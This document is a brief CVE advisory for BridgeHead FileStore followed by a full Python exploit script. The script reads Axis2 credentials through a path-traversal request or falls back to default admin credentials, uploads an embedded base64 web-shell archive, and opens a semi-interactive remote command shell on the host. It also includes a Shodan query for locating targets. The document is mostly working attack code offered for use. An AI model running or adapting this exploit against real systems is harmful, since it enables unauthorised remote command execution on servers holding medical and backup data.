CVE ID: CVE-2026-39920
BridgeHead FileStore versions prior to 24A (released in early 2024) expose the Apache Axis2 administration module on network-accessible endpoints with default credentials that allows unauthenticated remote attackers to execute arbitrary OS commands. Attackers can authenticate to the admin console using default credentials, upload a malicious Java archive as a web service, and execute arbitrary commands on the host via SOAP requests to the deployed service.
Modify the script to use any of the following endpoints if available:
• http://<TARGET_IP>:8080/MedRestoreWebService
• http://<TARGET_IP>:8080/SQLRestoreWebService
• http://<TARGET_IP>:8080/FileStoreWebService
#!/usr/bin/python3
# Author: Victor A. Morales
# Default BridgeHead FileStore port 8447
# Default BridgeHead FileStore Legacy URL: http://<IP>:8080/FileStoreWebService/axis2-web/index.jsp
import socket
import sys
import requests
import re
import base64
import random
import string
from requests_toolbelt.multipart.encoder import MultipartEncoder
from time import sleep
# https://www.shodan.io/search?query=http.favicon.hash%3A834837478
def generate_random_string(string_length=6):
letters_and_digits = string.ascii_letters + string.digits
return ''.join(random.choice(letters_and_digits) for i in range(string_length))
def payload(string):
data = f"""
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://ws.apache.org/axis2">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:execute>
<urn:args0>{string}</urn:args0>
</urn:execute>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""
return data
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 bhfilestore-pwn.py <IP>")
sys.exit()
ip = sys.argv[1]
# Default Apache Axis2 port
port = 8080
# Requests 10 second timeout
timeout = 10
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# wsshell.java compiled with Amazon Corretto Java Version 1.8.0_332
# https://github.com/tudorthe1ntruder/axis2-webservice-aar-shell/blob/master/wsshell.java
compiled_version = "1.8.0_332"
wsshell_jar_b64 = "UEsDBBQACAgIAMK2M1YAAAAAAAAAAAAAAAAJAAQATUVUQS1JTkYv/soAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAAgICADCtjNWAAAAAAAAAAAAAAAAFAAAAE1FVEEtSU5GL01BTklGRVNULk1G803My0xLLS7RDUstKs7Mz7NSMNQz4OVyLkpNLElN0XWqBAmY6xnEWxoqaPgXJSbnpCo45xcV5BcllgCVa/Jy8XIBAFBLBwhGKoOiQwAAAEQAAABQSwMEFAAICAgAamwzVgAAAAAAAAAAAAAAABUAAABNRVRBLUlORi9zZXJ2aWNlcy54bWxVj0EKgzAURNcK3iHkAAl0Hd24LhR7gk861dBoQr61Hr+pFUv/5i9m5g1jGGlxFk1VFiZSohEzkpjyr+X1q7WemKXwwT5wq+WdPEM2L+YB3ht9pDZGiEg0uzDtDKywzzn7s1iYEczUo4OFW3KP/aBrGVKvKJIdoGh1fFIpWpV2E6vu0p7/g1JvZfpoa0S+qjT6t+cNUEsHCLQHmKWUAAAA2wAAAFBLAwQUAAgICABatjNWAAAAAAAAAAAAAAAADQAAAHdzc2hlbGwuY2xhc3ONVNtS01AUXae0OSWEa4ESFRQvUK5VRJSCoCAo2gKCI9MZRwzpoQZL0mkT5Y98xZfWkRkfffAT/Ad/Qdwnba1VZjQP+yT7tta+nHz98ekzgGlsqejBkIphxKQYUTGKMSnGOSY4JlVwxFUouB7GDXlOcdxUockYDdNh3JLnjIrbuMMxq6ILCY45jnkGZd6yLXeBoSk28pwhuOxkBEN70rLFune4JwrPjL0cabg4Eqbn0ttQLHlgvDXiOcPOxrfdgmVn50b+VjG0bruG+SZl5P0UPuBdjgWORY57PvNZBnXb8QqmWLUkiPauWHwtcrlJmU1DL6Lkr+E+ljQs4wFFaljBqoaHeMTQ62NaTnzJ298XBZHZEkZGFBj0mmHNznsu8RHGYcUmc65J8ZiBWvIESYbon9SXPCvn+6awzsBUDRtIEmUNm4gyROr+K0emyLuWY2t4KlPxKn+GjrrTxt6BMN0GVQWHobOu2vJs1zoUDbrNgmOKYrEG2VgQtS4r3F9hPbHfZ1BV0xCCcm4Mw/8YWhVqTtZgWO6qU/A3Yo2hjVAaYKM1pEY+FNoXO9Mg9ypSN1Um4WvDZM/IVWPojp25Q4qRzws7wzDxX1tXHR0Fhl2n1uWQmXOKotKvFBVpZAUG0U13Sj4BMLloJPvoq59OWg2ERstgH+iFtomk4iul6RzOV12/I4QwneIjAqnxsRKa1idKCO6QCCWCJ1DSJ+BpPVhGuIzmRIgllC41wfVQCS3phPIFgyfQ0mW06ryENl0h0dVOooSOBH9/+k0PltCp8+PUeAmRY5/AS+zS3Q34lGbQ6hML0uVXiUg7mqki+X9ooT+Dhkmyz6INO+jAC4raRQSvqOoLFDWFplNyCHP0cwxwXOS4xDHIcdn/HABip5Q2ULGDcVwh/Kt+t679BFBLBwh4CgpZqwIAAJcEAABQSwECFAAUAAgICADCtjNWAAAAAAIAAAAAAAAACQAEAAAAAAAAAAAAAAAAAAAATUVUQS1JTkYv/soAAFBLAQIUABQACAgIAMK2M1ZGKoOiQwAAAEQAAAAUAAAAAAAAAAAAAAAAAD0AAABNRVRBLUlORi9NQU5JRkVTVC5NRlBLAQIUABQACAgIAGpsM1a0B5illAAAANsAAAAVAAAAAAAAAAAAAAAAAMIAAABNRVRBLUlORi9zZXJ2aWNlcy54bWxQSwECFAAUAAgICABatjNWeAoKWasCAACXBAAADQAAAAAAAAAAAAAAAACZAQAAd3NzaGVsbC5jbGFzc1BLBQYAAAAABAAEAPsAAAB/BAAAAAA="
wsshell_jar = base64.b64decode(wsshell_jar_b64)
wsshell_random_name = generate_random_string()
wsshell_random_name_ext = f"{wsshell_random_name}.aar"
# Check if Apache Axis2 page exists
legacyURL = f"http://{ip}:8080/FileStoreWebService/axis2-web/index.jsp"
response = requests.get(legacyURL,allow_redirects=False,timeout=timeout)
if '<title>Axis 2 - Home</title>' in response.text:
print("[+] Apache Axis2 is present!")
# Check Java Version in Apache Axis2 Happiness Page
happyaxisURL = f"http://{ip}:8080/FileStoreWebService/axis2-web/HappyAxis.jsp"
response = requests.get(happyaxisURL,allow_redirects=False,timeout=timeout)
if '<title>Axis2 Happiness Page</title>' in response.text:
java_version = re.findall(">java.version</th><td style='border: .5px #A3BBFF solid;'>(.*?) </td><tr>", response.text)
if len(java_version):
java_version = java_version[0]
if java_version == compiled_version:
print(f"[+] Target running matching Java version {compiled_version}!")
else:
print(f"[0] Target running different Java version {java_version} and exploit may not work! Proceeding anyway...")
else:
print("[-] Could not determine Java version!")
else:
print("[-] Apache Axis2 Happiness Page could not be reached!")
# Attempt to get credentials from Apache Axis2 LFI
lfiaxis2 = f"http://{ip}:8080/FileStoreWebService/services/Version?xsd=../conf/axis2.xml"
response = requests.get(lfiaxis2,allow_redirects=False,timeout=timeout)
axisusername = re.findall('<parameter name="userName">(.*?)</parameter>', response.text)
axispassword = re.findall('<parameter name="password">(.*?)</parameter>', response.text)
if len(axisusername) and len(axispassword):
axisusername = axisusername[0]
axispassword = axispassword[0]
print(f"[+] Apache Axis2 LFI worked! Credentials ({axisusername} : {axispassword})")
else:
print("[-] Apache Axis2 LFI failed! Trying with default credentials (admin : axis2)")
axisusername = "admin"
axispassword = "axis2"
# Go to Administration page to obtain JSESSIONID cookie
response = requests.get(f"http://{ip}:8080/FileStoreWebService/axis2-admin/",allow_redirects=False,timeout=timeout)
if 'Set-Cookie' in response.headers.keys() and 'JSESSIONID' in response.headers['Set-Cookie']:
# Apache Axis2 Login
cookies = {'JSESSIONID': response.headers['Set-Cookie'].replace('JSESSIONID=','').split(';')[0]}
data = {'userName': axisusername,'password': axispassword,'submit': ' Login '}
response = requests.post(f"http://{ip}:8080/FileStoreWebService/axis2-admin/login",cookies=cookies,data=data,allow_redirects=False,timeout=timeout)
if '<title>Axis2 :: Administration Page</title>' in response.text:
print("[+] Successful login to Apache Axis2 Administration Page!")
# Upload wsshell.aar JAR file
multipart_data = MultipartEncoder(fields={'filename': (wsshell_random_name_ext, wsshell_jar)})
headers = {'Content-Type': multipart_data.content_type}
response = requests.post(f"http://{ip}:8080/FileStoreWebService/axis2-admin/upload",cookies=cookies,headers=headers,data=multipart_data,allow_redirects=False,timeout=timeout)
# Apache Axis2 Logout
logout_response = requests.get(f"http://{ip}:8080/FileStoreWebService/axis2-admin/logout",cookies=cookies,allow_redirects=False,timeout=timeout)
logout = "[-] Error during Apache Axis2 logout!"
if '<title>Axis 2 - Home</title>' in logout_response.text:
logout = "[+] Successful logout of Apache Axis2!"
if 'successfully uploaded </font><br/><br/>' in response.text:
print(f"[+] Uploaded {wsshell_random_name_ext}!")
print(logout)
# Wait for web service to be loaded to Apache Axis2
print("[*] Sleeping for 15 seconds and executing 'whoami' command...")
sleep(15)
headers = {'SOAPAction': '"urn:execute"','Content-Type': 'text/xml', "Accept-Encoding": "gzip, deflate","Accept": "*/*","Connection": "close"}
data = payload("whoami")
response = requests.post(f"http://{ip}:8080/FileStoreWebService/services/{wsshell_random_name}/execute",headers=headers,data=data,allow_redirects=False,timeout=timeout)
if response.status_code == 500:
print("[-] Service may not have loaded or is faulty! Retrying in 5 seconds...")
sleep(5)
response = requests.post(f"http://{ip}:8080/FileStoreWebService/services/{wsshell_random_name}/execute",headers=headers,data=data,allow_redirects=False,timeout=timeout)
if response.status_code == 500:
print("[-] Something went wrong with the service!")
sys.exit()
if "<ns:return>" in response.text:
start = response.text.index("<ns:return>") + len("<ns:return>")
end = response.text.index("</ns:return>")
result = response.text[start:end]
print(result)
# Semi-interactive shell
cmd_input = ""
while True:
try:
cmd_input = str(input("> "))
if cmd_input == "exit":
break
data = payload(cmd_input)
response = requests.post(f"http://{ip}:8080/FileStoreWebService/services/{wsshell_random_name}/execute",headers=headers,data=data,allow_redirects=False,timeout=timeout)
match = re.search(r'<ns:return>(.*?)</ns:return>', response.text)
if "<ns:return>" in response.text:
start = response.text.index("<ns:return>") + len("<ns:return>")
end = response.text.index("</ns:return>")
result = response.text[start:end]
print(result)
except KeyboardInterrupt:
break
print(f"[!] Remember to do manual cleanup of {wsshell_random_name_ext}!")
print("[*] Default directory path: 'C:\\Program Files (x86)\\Apache Software Foundation\\Tomcat 8.5\\temp\\0-FileStoreWebService\\WEB-INF\\services\\'")
else:
print(f"[-] Failed during {wsshell_random_name_ext} file upload! Something went wrong...")
else:
print("[-] Failed login to Apache Axis2! Something went wrong...")